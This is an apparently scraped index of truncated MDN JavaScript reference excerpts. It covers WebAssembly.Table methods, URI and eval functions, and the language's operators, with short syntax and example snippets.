send us a pull request. desktopmobileserverchromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetnode.jsgetchrome full support 57edge full support 16firefox full support 52notes ...
WebAssembly.Table.prototype.grow() - JavaScript
e.grow(1)); // "2" console.log(table.length); // "3" specifications specification webassembly javascript interfacethe definition of 'grow()' in that specification. browser compatibility the compatibility table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and
send us a pull request. desktopmobileserverchromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetnode.jsgrowchrome full support 57edge full support 16firefox full support 52notes ...
WebAssembly.Table.prototype.length - JavaScript
e.grow(1)); // "2" console.log(table.length); // "3" specifications specification webassembly javascript interfacethe definition of 'length' in that specification. browser compatibility the compatibility table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and
send us a pull request. desktopmobileserverchromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetnode.jslengthchrome full support 57edge full support 16firefox full support 52note...
WebAssembly.Table.prototype.set() - JavaScript
able is visible and callable inside the wasm instance too. specifications specification webassembly javascript interfacethe definition of 'set()' in that specification. browser compatibility the compatibility table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and
send us a pull request. desktopmobileserverchromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetnode.jssetchrome full support 57edge full support 16firefox full support 52notes ...
WebAssembly.Table - JavaScript
ble is visible and callable inside the wasm instance too. specifications specification webassembly javascript interfacethe definition of 'table' in that specification. browser compatibility the compatibility table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and
send us a pull request. desktopmobileserverchromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetnode.jstablechrome full support 57edge full support 16firefox full support 52notes...
WebAssembly.compileStreaming() - JavaScript
(), and the exported function invoked. specifications specification webassembly features for web embeddingthe definition of 'compilestreaming()' in that specification. browser compatibility the compatibility table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and
send us a pull request. desktopmobileserverchromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetnode.jscompilestreamingchrome full support 61edge full support 16firefox full support ...
WebAssembly.instantiateStreaming() - JavaScript
ion/wasm mime type by the server. specifications specification webassembly features for web embeddingthe definition of 'instantiatestreaming()' in that specification. browser compatibility the compatibility table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and
send us a pull request. desktopmobileserverchromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetnode.jsinstantiatestreamingchrome full support 61edge full support 16firefox full support ...
WebAssembly.validate() - JavaScript
(valid ? "" : "not ") + "a valid wasm module"); }); specifications specification webassembly javascript interfacethe definition of 'validate()' in that specification. browser compatibility the compatibility table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and
send us a pull request. desktopmobileserverchromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetnode.jsvalidatechrome full support 57edge full support 16firefox full support 52no...
WebAssembly - JavaScript
essed, and the contained exported function invoked. specifications specification webassembly javascript interfacethe definition of 'webassembly' in that specification. browser compatibility the compatibility table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and
send us a pull request. desktopmobileserverchromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetnode.jswebassemblychrome full support 57edge full support 16firefox full support 5...
decodeURI() - JavaScript
syntax decodeuri(encodeduri) parameters encodeduri a complete, encoded uniform resource identifier. ...
decodeURIComponent() - JavaScript
the decodeuricomponent() function decodes a uniform resource identifier (uri) component previously created by encodeuricomponent or by a similar routine. the source for this interactive example is stored in a github repository. if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and
send us a pull request. syntax decodeuricomponent(encodeduri) parameters encodeduri an encoded component of a uniform resource identifier. return value a new string representing the decoded version of the given encoded uniform resource identifier (uri) component. exceptions throws an urierror ("malformed uri sequence") exception when used wrongly. description replaces each escape sequence in the encoded uri component with the ch...
encodeURI() - JavaScript
characters by one, two, three, or four escape sequences representing the utf-8 encoding of the character (will only be four escape sequences for characters composed of two "surrogate" characters). the source for this interactive example is stored in a github repository. if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and
send us a pull request. syntax encodeuri(uri) parameters uri a complete uri. return value a new string representing the provided string encoded as a uri. description the encodeuri() function does not encode characters that have special meaning (reserved characters) for a uri. the following example shows all the parts that a uri "scheme" can possibly contain. note how certain characters are...
encodeURIComponent() - JavaScript
characters by one, two, three, or four escape sequences representing the utf-8 encoding of the character (will only be four escape sequences for characters composed of two "surrogate" characters). the source for this interactive example is stored in a github repository. if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and
send us a pull request. syntax encodeuricomponent(str); parameters str string. a component of a uri. return value a new string representing the provided string encoded as a uri component. description encodeuricomponent() escapes all characters except: not escaped: a-z a-z 0-9 - _ . ! ~ * ' ( ) encodeuricomponent() differs from encodeuri as follows: var set1 = ";,/?:@&=+$"; // re...
eval() - JavaScript
security risk. it is far too easy for a bad actor to run arbitrary code when you use eval(). see never use eval()!, below. the eval() function evaluates javascript code represented as a string. the source for this interactive example is stored in a github repository. if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and
send us a pull request. syntax eval(string) parameters string a string representing a javascript expression, statement, or sequence of statements. the expression can include variables and properties of existing objects. return value the completion value of evaluating the given code. if the completion value is empty, undefined is returned. description eval() is a function property of the gl...
globalThis - JavaScript
the global globalthis property contains the global this value, which is akin to the global object. the source for this interactive example is stored in a github repository. if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and
send us a pull request. property attributes of globalthis writable yes enumerable no configurable yes description historically, accessing the global object has required different syntax in different javascript environments. on the web you can use window, self, or frames - but in web workers only self will work. in node.js none of these work, and you must instead use global. the this keyword could b...
isFinite() - JavaScript
the global isfinite() function determines whether the passed value is a finite number. if needed, the parameter is first converted to a number. the source for this interactive example is stored in a github repository. if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and
send us a pull request. syntax isfinite(testvalue) parameters testvalue the value to be tested for finiteness. return value false if the argument is positive or negative infinity or nan or undefined; otherwise, true. description isfinite is a top-level function and is not associated with any object. you can use this function to determine whether a number is a finite number. the isfinite function examines the number in its argument. if the...
null - JavaScript
the value null represents the intentional absence of any object value. it is one of javascript's primitive values and is treated as falsy for boolean operations. the source for this interactive example is stored in a github repository. if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and
send us a pull request. syntax null description the value null is written with a literal: null. null is not an identifier for a property of the global object, like undefined can be. instead, null expresses a lack of identification, indicating that a variable points to no object. in apis, null is often retrieved in a place where an object can be expected but no object is relevant. // foo does not exist. it is not defined and has ...
undefined - JavaScript
cript's primitive types. property attributes of undefined writable no enumerable no configurable no the source for this interactive example is stored in a github repository. if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and
send us a pull request. syntax undefined description undefined is a property of the global object. that is, it is a variable in global scope. the initial value of undefined is the primitive value undefined. in modern browsers (javascript 1.8.5 / firefox 4+), undefined is a non-configurable, non-writable property, per the ecmascript 5 specification. (even when this is not the case, avoid overridin...
Addition (+) - JavaScript
the addition operator (+) produces the sum of numeric operands or string concatenation. the source for this interactive example is stored in a github repository. if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and
send us a pull request. syntax operator: x + y examples numeric addition // number + number -> addition 1 + 2 // 3 // boolean + number -> addition true + 1 // 2 // boolean + boolean -> addition false + false // 0 string concatenation // string + string -> concatenation 'foo' + 'bar' // "foobar" // number + string -> concatenation 5 + 'foo' // "5foo" // string + boolean -> concatenation 'foo' + false // "foofalse" specifications specification ecmascript (ecma-262)the defini...
Addition assignment (+=) - JavaScript
ght operand to a variable and assigns the result to the variable. the types of the two operands determine the behavior of the addition assignment operator. addition or concatenation is possible. the source for this interactive example is stored in a github repository. if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and
send us a pull request. syntax operator: x += y meaning: x = x + y examples using addition assignment // assuming the following variables // foo = 'foo' // bar = 5 // baz = true // number + number -> addition bar += 2 // 7 // boolean + number -> addition baz += 1 // 2 // boolean + boolean -> addition baz += false // 1 // number + string -> concatenation bar += 'foo' // "5foo" // string ...
Assignment (=) - JavaScript
ed to assign a value to a variable. the assignment operation evaluates to the assigned value. chaining the assignment operator is possible in order to assign a single value to multiple variables the source for this interactive example is stored in a github repository. if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and
send us a pull request. syntax operator: x = y examples simple assignment and chaining // assuming the following variables // x = 5 // y = 10 // z = 25 x = y // x is 10 x = y = z // x, y and z are all 25 specifications specification ecmascript (ecma-262)the definition of 'assignment operators' in that specification. ...
Bitwise AND (&) - JavaScript
syntax a & b description the operands are converted to 32-bit integers and expressed by a series of bits (zeroes and ones). ...
Bitwise AND assignment (&=) - JavaScript
the bitwise and assignment operator (&=) uses the binary representation of both operands, does a bitwise and operation on them and assigns the result to the variable. the source for this interactive example is stored in a github repository. if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and
send us a pull request. syntax operator: x &= y meaning: x = x & y examples using bitwise and assignment let a = 5; // 5: 00000000000000000000000000000101 // 2: 00000000000000000000000000000010 a &= 2; // 0 specifications specification ecmascript (ecma-262)the definition of 'assignment operators' in that specification. ...
Bitwise NOT (~) - JavaScript
syntax ~a description the operands are converted to 32-bit integers and expressed by a series of bits (zeroes and ones). numbers with more than 32 bits get their most significant bits discarded. ...
Bitwise OR (|) - JavaScript
the bitwise or operator (|) returns a 1 in each bit position for which the corresponding bits of either or both operands are 1s. the source for this interactive example is stored in a github repository. if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and
send us a pull request. syntax a | b description the operands are converted to 32-bit integers and expressed by a series of bits (zeroes and ones). numbers with more than 32 bits get their most significant bits discarded. for example, the following integer with more than 32 bits will be converted to a 32 bit integer: before: 11100110111110100000000000000110000000000001 after: 10100000000000000110000000000001 each bit in the first operand is paired...
Bitwise OR assignment (|=) - JavaScript
the bitwise or assignment operator (|=) uses the binary representation of both operands, does a bitwise or operation on them and assigns the result to the variable. the source for this interactive example is stored in a github repository. if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and
send us a pull request. syntax operator: x |= y meaning: x = x | y examples using bitwise or assignment let a = 5; a |= 2; // 7 // 5: 00000000000000000000000000000101 // 2: 00000000000000000000000000000010 // ----------------------------------- // 7: 00000000000000000000000000000111 specifications specification ecmascript (ecma-262)the definition of 'assignment operators' in that specification. ...
Bitwise XOR (^) - JavaScript
the bitwise xor operator (^) returns a 1 in each bit position for which the corresponding bits of either but not both operands are 1s. the source for this interactive example is stored in a github repository. if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and
send us a pull request. syntax a ^ b description the operands are converted to 32-bit integers and expressed by a series of bits (zeroes and ones). numbers with more than 32 bits get their most significant bits discarded. for example, the following integer with more than 32 bits will be converted to a 32 bit integer: before: 11100110111110100000000000000110000000000001 after: 10100000000000000110000000000001 each bit in the first operand is ...
Bitwise XOR assignment (^=) - JavaScript
the bitwise xor assignment operator (^=) uses the binary representation of both operands, does a bitwise xor operation on them and assigns the result to the variable. the source for this interactive example is stored in a github repository. if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and
send us a pull request. syntax operator: x ^= y meaning: x = x ^ y examples using bitwise xor assignment let a = 5; // 00000000000000000000000000000101 a ^= 3; // 00000000000000000000000000000011 console.log(a); // 00000000000000000000000000000110 // 6 let b = 5; // 00000000000000000000000000000101 b ^= 0; // 00000000000000000000000000000000 console.log(b); // 00000000000000000000000000000101...
Comma operator (,) - JavaScript
xpressions are evaluated, with the compound expression's final value being the value of the rightmost of its member expressions. this is commonly used to provide multiple parameters to a for loop. the source for this interactive example is stored in a github repository. if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and
send us a pull request. syntax expr1, expr2, expr3... parameters expr1, expr2, expr3... one or more expressions, the last of which is returned as the value of the compound expression. usage notes you can use the comma operator when you want to include multiple expressions in a location that requires a single expression. the most common usage of this operator is to supply multiple parameters ...
Conditional (ternary) operator - JavaScript
to execute if the condition is truthy followed by a colon (:), and finally the expression to execute if the condition is falsy. this operator is frequently used as a shortcut for the if statement. the source for this interactive example is stored in a github repository. if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and
send us a pull request. syntax condition ? expriftrue : expriffalse parameters condition an expression whose value is used as a condition. expriftrue an expression which is evaluated if the condition evaluates to a truthy value (one which equals or can be converted to true). expriffalse an expression which is executed if the condition is falsy (that is, has a value which can be converted to...
Decrement (--) - JavaScript
the decrement operator (--) decrements (subtracts one from) its operand and returns a value. the source for this interactive example is stored in a github repository. if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and
send us a pull request. syntax operator: x-- or --x description if used postfix, with operator after operand (for example, x--), the decrement operator decrements and returns the value before decrementing. if used prefix, with operator before operand (for example, --x), the decrement operator decrements and returns the value after decrementing. examples postfix decrement let x = 3; y = x--; // y = 3 // x = 2 prefix decrement let a = 2; b = --a; // a = 1 // b = 1 specifications ...
Destructuring assignment - JavaScript
the destructuring assignment syntax is a javascript expression that makes it possible to unpack values from arrays, or properties from objects, into distinct variables. the source for this interactive example is stored in a github repository. if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and
send us a pull request. syntax let a, b, rest; [a, b] = [10, 20]; console.log(a); // 10 console.log(b); // 20 [a, b, ...rest] = [10, 20, 30, 40, 50]; console.log(a); // 10 console.log(b); // 20 console.log(rest); // [30, 40, 50] ({ a, b } = { a: 10, b: 20 }); console.log(a); // 10 console.log(b); // 20 // stage 4(finished) proposal ({a, b, ...rest} = {a: 10, b: 20, c: 30, d: 40}); console.log(a); // 10 console.log(b); // ...
Division (/) - JavaScript
the division operator (/) produces the quotient of its operands where the left operand is the dividend and the right operand is the divisor. the source for this interactive example is stored in a github repository. if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and
send us a pull request. syntax operator: x / y examples basic division 1 / 2 // 0.5 math.floor(3 / 2) // 1 1.0 / 2.0 // 0.5 division by zero 2.0 / 0 // infinity 2.0 / 0.0 // infinity, because 0.0 === 0 2.0 / -0.0 // -infinity specifications specification ecmascript (ecma-262)the definition of 'division operator' in that specification. ...
Division assignment (/=) - JavaScript
the division assignment operator (/=) divides a variable by the value of the right operand and assigns the result to the variable. the source for this interactive example is stored in a github repository. if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and
send us a pull request. syntax operator: x /= y meaning: x = x / y examples using division assignment // assuming the following variable // bar = 5 bar /= 2 // 2.5 bar /= 'foo' // nan bar /= 0 // infinity specifications specification ecmascript (ecma-262)the definition of 'assignment operators' in that specification. ...
Equality (==) - JavaScript
y operator (==) checks whether its two operands are equal, returning a boolean result. unlike the strict equality operator, it attempts to convert and compare operands that are of different types. the source for this interactive example is stored in a github repository. if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and
send us a pull request. syntax x == y description the equality operators (== and !=) use the abstract equality comparison algorithm to compare two operands. this can be roughly summarised as follows: if the operands are both objects, return true only if both operands reference the same object. if one operand is null and the other is undefined, return true. if the operands are of different ty...
Exponentiation (**) - JavaScript
the exponentiation operator (**) returns the result of raising the first operand to the power of the second operand. it is equivalent to math.pow, except it also accepts bigints as operands. the source for this interactive example is stored in a github repository. if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and
send us a pull request. syntax operator: var1 ** var2 description the exponentiation operator is right-associative: a ** b ** c is equal to a ** (b ** c). in most languages, such as php, python, and others that have an exponentiation operator (**), the exponentiation operator is defined to have a higher precedence than unary operators, such as unary + and unary -, but there are a few exceptions. for ...
Exponentiation assignment (**=) - JavaScript
the exponentiation assignment operator (**=) raises the value of a variable to the power of the right operand. the source for this interactive example is stored in a github repository. if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and
send us a pull request. syntax operator: x **= y meaning: x = x ** y examples using exponentiation assignment // assuming the following variable // bar = 5 bar **= 2 // 25 bar **= 'foo' // nan specifications specification ecmascript (ecma-262)the definition of 'assignment operators' in that specification. ...
Greater than or equal (>=) - JavaScript
the greater than or equal operator (>=) returns true if the left operand is greater than or equal to the right operand, and false otherwise. the source for this interactive example is stored in a github repository. if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and
send us a pull request. syntax x >= y description the operands are compared using the abstract relational comparison algorithm. see the documentation for the less than operator for a summary of this algorithm. examples string to string comparison console.log("a" >= "b"); // false console.log("a" >= "a"); // true console.log("a" >= "3"); // true string to number comparison console.log("5" >= 3); // true console.log("3" >= 3); ...
Grouping operator ( ) - JavaScript
the grouping operator ( ) controls the precedence of evaluation in expressions. the source for this interactive example is stored in a github repository. if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and
send us a pull request. syntax ( ) description the grouping operator consists of a pair of parentheses around an expression or sub-expression to override the normal operator precedence so that expressions with lower precedence can be evaluated before an expression with higher priority. as it sounds, it groups what's inside of the parentheses. examples using the grouping operator overriding multiplication and division first, then addition and subtraction to evaluate addition first. var a = 1; var b = 2; var...
Increment (++) - JavaScript
syntax operator: x++ or ++x description if used postfix, with operator after operand (for example, x++), the increment operator increments and returns the value before incrementing. ...
Inequality (!=) - JavaScript
ator (!=) checks whether its two operands are not equal, returning a boolean result. unlike the strict inequality operator, it attempts to convert and compare operands that are of different types. the source for this interactive example is stored in a github repository. if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and
send us a pull request. syntax x != y description the inequality operator checks whether its operands are not equal. it is the negation of the equality operator so the following two lines will always give the same result: x != y !(x == y) for details of the comparison algorithm, see the page for the equality operator. like the equality operator, the inequality operator will attempt to convert ...
Left shift (<<) - JavaScript
the left shift operator (<<) shifts the first operand the specified number of bits to the left. excess bits shifted off to the left are discarded. zero bits are shifted in from the right. the source for this interactive example is stored in a github repository. if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and
send us a pull request. syntax a << b description this operator shifts the first operand the specified number of bits to the left. excess bits shifted off to the left are discarded. zero bits are shifted in from the right. for example, 9 << 2 yields 36: . 9 (base 10): 00000000000000000000000000001001 (base 2) -------------------------------- 9 << 2 (base 10): 0000000000000000000000...
Left shift assignment (<<=) - JavaScript
the left shift assignment operator (<<=) moves the specified amount of bits to the left and assigns the result to the variable. the source for this interactive example is stored in a github repository. if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and
send us a pull request. syntax operator: x <<= y meaning: x = x << y examples using left shift assignment let a = 5; // 00000000000000000000000000000101 bar <<= 2; // 20 // 00000000000000000000000000010100 specifications specification ecmascript (ecma-262)the definition of 'assignment operators' in that specification. ...
Less than (<) - JavaScript
the less than operator (<) returns true if the left operand is less than the right operand, and false otherwise. the source for this interactive example is stored in a github repository. if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and
send us a pull request. syntax x < y description the operands are compared using the abstract relational comparison algorithm, which is roughly summarised below: first, objects are converted to primitives using symbol.toprimitive. if both values are strings, they are compared as strings, based on the values of the unicode code points they contain. otherwise javascript attempts to convert non-numeric types to numeric values: boolean values true and false are converted...
Less than or equal (<=) - JavaScript
the less than or equal operator (<=) returns true if the left operand is less than or equal to the right operand, and false otherwise. the source for this interactive example is stored in a github repository. if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and
send us a pull request. syntax x <= y description the operands are compared using the abstract relational comparison algorithm. see the documentation for the less than operator for a summary of this algorithm. examples string to string comparison console.log("a" <= "b"); // true console.log("a" <= "a"); // true console.log("a" <= "3"); // false string to number comparison console.log("5" <= 3); // false console.log("3" <= 3); ...
Logical AND (&&) - JavaScript
urns a boolean value. however, the && operator actually returns the value of one of the specified operands, so if this operator is used with non-boolean values, it will return a non-boolean value. the source for this interactive example is stored in a github repository. if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and
send us a pull request. syntax expr1 && expr2 description if expr1 can be converted to true, returns expr2; else, returns expr1. if a value can be converted to true, the value is so-called truthy. if a value can be converted to false, the value is so-called falsy. examples of expressions that can be converted to false are: null; nan; 0; empty string ("" or '' or ``); undefined. even th...
Logical AND assignment (&&=) - JavaScript
the logical and assignment (x &&= y) operator only assigns if x is truthy. the source for this interactive example is stored in a github repository. if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and
send us a pull request. syntax expr1 &&= expr2 description short-circuit evaluation the logical and operator is evaluated left to right, it is tested for possible short-circuit evaluation using the following rule: (some falsy expression) && expr is short-circuit evaluated to the falsy expression; short circuit means that the expr part above is not evaluated, hence any side effects of doing so do not take effect (e.g., if expr is a function call, the calling never takes place). logical and assignment short-circu...
Logical NOT (!) - JavaScript
ity and vice versa. it is typically used with boolean (logical) values. when used with non-boolean values, it returns false if its single operand can be converted to true; otherwise, returns true. the source for this interactive example is stored in a github repository. if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and
send us a pull request. syntax !expr description returns false if its single operand can be converted to true; otherwise, returns true. if a value can be converted to true, the value is so-called truthy. if a value can be converted to false, the value is so-called falsy. examples of expressions that can be converted to false are: null; nan; 0; empty string ("" or '' or ``); undefined. ...
Logical OR (||) - JavaScript
urns a boolean value. however, the || operator actually returns the value of one of the specified operands, so if this operator is used with non-boolean values, it will return a non-boolean value. the source for this interactive example is stored in a github repository. if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and
send us a pull request. syntax expr1 || expr2 description if expr1 can be converted to true, returns expr1; else, returns expr2. if a value can be converted to true, the value is so-called truthy. if a value can be converted to false, the value is so-called falsy. examples of expressions that can be converted to false are: null; nan; 0; empty string ("" or '' or ``); undefined. even th...
Logical OR assignment (||=) - JavaScript
the logical or assignment (x ||= y) operator only assigns if x is falsy. the source for this interactive example is stored in a github repository. if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and
send us a pull request. syntax expr1 ||= expr2 description short-circuit evaluation the logical or operator works like this: x || y; // returns x when x is truthy // returns y when x is not truthy the logical or operator short-circuits: the second operand is only evaluated if the first operand doesn’t already determine the result. logical or assignment short-circuits as well, meaning it only performs an assignment if the logical operation would evaluate the right-hand side. in other words, x ||= y is equivalent...
Logical nullish assignment (??=) - JavaScript
the logical nullish assignment (x ??= y) operator only assigns if x is nullish (null or undefined). the source for this interactive example is stored in a github repository. if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and
send us a pull request. syntax expr1 ??= expr2 description short-circuit evaluation the nullish coalescing operator is evaluated left to right, it is tested for possible short-circuit evaluation using the following rule: (some expression that is neither null nor undefined) ?? expr is short-circuit evaluated to the left-hand side expression if the left-hand side proves to be neither null nor undefined. short circuit means that the expr part above is not evaluated, hence any side effects o...
Multiplication (*) - JavaScript
the multiplication operator (*) produces the product of the operands. the source for this interactive example is stored in a github repository. if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and
send us a pull request. syntax operator: x * y examples multiplication using numbers 2 * 2 // 4 -2 * 2 // -4 multiplication with infinity infinity * 0 // nan infinity * infinity // infinity multiplication with non-numbers 'foo' * 2 // nan specifications specification ecmascript (ecma-262)the definition of 'multiplication operator' in that specification. ...
Multiplication assignment (*=) - JavaScript
the multiplication assignment operator (*=) multiplies a variable by the value of the right operand and assigns the result to the variable. the source for this interactive example is stored in a github repository. if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and
send us a pull request. syntax operator: x *= y meaning: x = x * y examples using multiplication assignment // assuming the following variable // bar = 5 bar *= 2 // 10 bar *= 'foo' // nan specifications specification ecmascript (ecma-262)the definition of 'assignment operators' in that specification. ...
Nullish coalescing operator (??) - JavaScript
if you use || to provide some default value to another variable foo, you may encounter unexpected behaviors if you consider some falsy values as usable (eg. '' or 0). see below for more examples. the source for this interactive example is stored in a github repository. if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and
send us a pull request. see pr #1482 regarding the addition of this example. syntax leftexpr ?? rightexpr examples using the nullish coalescing operator in this example, we will provide default values but keep values other than null or undefined. const nullvalue = null; const emptytext = ""; // falsy const somenumber = 42; const vala = nullvalue ?? "default for a"; const valb = emptytext ?? "...
Object initializer - JavaScript
literal notation (initializer notation). an object initializer is a comma-delimited list of zero or more pairs of property names and associated values of an object, enclosed in curly braces ({}). the source for this interactive example is stored in a github repository. if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and
send us a pull request. syntax let o = {} let o = {a: 'foo', b: 42, c: {}} let a = 'foo', b = 42, c = {} let o = {a: a, b: b, c: c} let o = { property: function (parameters) {}, get property() {}, set property(value) {} }; new notations in ecmascript 2015 please see the compatibility table for support for these notations. in non-supporting environments, these notations will lead to syntax...
Operator precedence - JavaScript
operator precedence determines how operators are parsed concerning each other. operators with higher precedence become the operands of operators with lower precedence. the source for this interactive example is stored in a github repository. if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and
send us a pull request. precedence and associativity consider an expression describable by the representation below. note that both op1 and op2 are fill-in-the-blanks for operators. a op1 b op2 c if op1 and op2 have different precedence levels (see the table below), the operator with the highest precedence goes first and associativity does not matter. observe how multiplication has higher precedence than addition and execute...
Optional chaining (?.) - JavaScript
es when the possibility exists that a reference may be missing. it can also be helpful while exploring the content of an object when there's no known guarantee as to which properties are required. the source for this interactive example is stored in a github repository. if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and
send us a pull request. syntax obj?.prop obj?.[expr] arr?.[index] func?.(args) description the optional chaining operator provides a way to simplify accessing values through connected objects when it's possible that a reference or function may be undefined or null. for example, consider an object obj which has a nested structure. without optional chaining, looking up a deeply-nested subproperty ...
Remainder (%) - JavaScript
the remainder operator (%) returns the remainder left over when one operand is divided by a second operand. it always takes the sign of the dividend. the source for this interactive example is stored in a github repository. if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and
send us a pull request. syntax operator: var1 % var2 examples remainder with positive dividend 12 % 5 // 2 1 % -2 // 1 1 % 2 // 1 2 % 3 // 2 5.5 % 2 // 1.5 remainder with negative dividend -12 % 5 // -2 -1 % 2 // -1 -4 % 2 // -0 remainder with nan nan % 2 // nan specifications specification ecmascript (ecma-262)the definition of 'remainder operator' in that specification. ...
Remainder assignment (%=) - JavaScript
the remainder assignment operator (%=) divides a variable by the value of the right operand and assigns the remainder to the variable. the source for this interactive example is stored in a github repository. if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and
send us a pull request. syntax operator: x %= y meaning: x = x % y examples using remainder assignment // assuming the following variable // bar = 5 bar %= 2 // 1 bar %= 'foo' // nan bar %= 0 // nan specifications specification ecmascript (ecma-262)the definition of 'assignment operators' in that specification. ...
Right shift (>>) - JavaScript
st bit are shifted in from the left. since the new leftmost bit has the same value as the previous leftmost bit, the sign bit (the leftmost bit) does not change. hence the name "sign-propagating". the source for this interactive example is stored in a github repository. if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and
send us a pull request. syntax a >> b description this operator shifts the first operand the specified number of bits to the right. excess bits shifted off to the right are discarded. copies of the leftmost bit are shifted in from the left. since the new leftmost bit has the same value as the previous leftmost bit, the sign bit (the leftmost bit) does not change. hence the name "sign-propagating"...
Right shift assignment (>>=) - JavaScript
the right shift assignment operator (>>=) moves the specified amount of bits to the right and assigns the result to the variable. the source for this interactive example is stored in a github repository. if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and
send us a pull request. syntax operator: x >>= y meaning: x = x >> y examples using right shift assignment let a = 5; // (00000000000000000000000000000101) a >>= 2; // 1 (00000000000000000000000000000001) let b = -5; // (-00000000000000000000000000000101) b >>= 2; // -2 (-00000000000000000000000000000010) specifications specification ecmascript (ecma-262)the definition of 'assignment operators' in that specification. ...
Spread syntax (...) - JavaScript
rguments (for function calls) or elements (for array literals) are expected, or an object expression to be expanded in places where zero or more key-value pairs (for object literals) are expected. the source for this interactive example is stored in a github repository. if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and
send us a pull request. syntax for function calls: myfunction(...iterableobj); for array literals or strings: [...iterableobj, '4', 'five', 6]; for object literals (new in ecmascript 2018): let objclone = { ...obj }; rest syntax (parameters) rest syntax looks exactly like spread syntax. in a way, rest syntax is the opposite of spread syntax. spread syntax "expands" an array into its elements...
Strict equality (===) - JavaScript
===) checks whether its two operands are equal, returning a boolean result. unlike the equality operator, the strict equality operator always considers operands of different types to be different. the source for this interactive example is stored in a github repository. if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and
send us a pull request. syntax x === y description the strict equality operators (=== and !==) use the strict equality comparison algorithm to compare two operands. if the operands are of different types, return false. if both operands are objects, return true only if they refer to the same object. if both operands are null or both operands are undefined, return true. if either operand is na...
Strict inequality (!==) - JavaScript
cks whether its two operands are not equal, returning a boolean result. unlike the inequality operator, the strict inequality operator always considers operands of different types to be different. the source for this interactive example is stored in a github repository. if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and
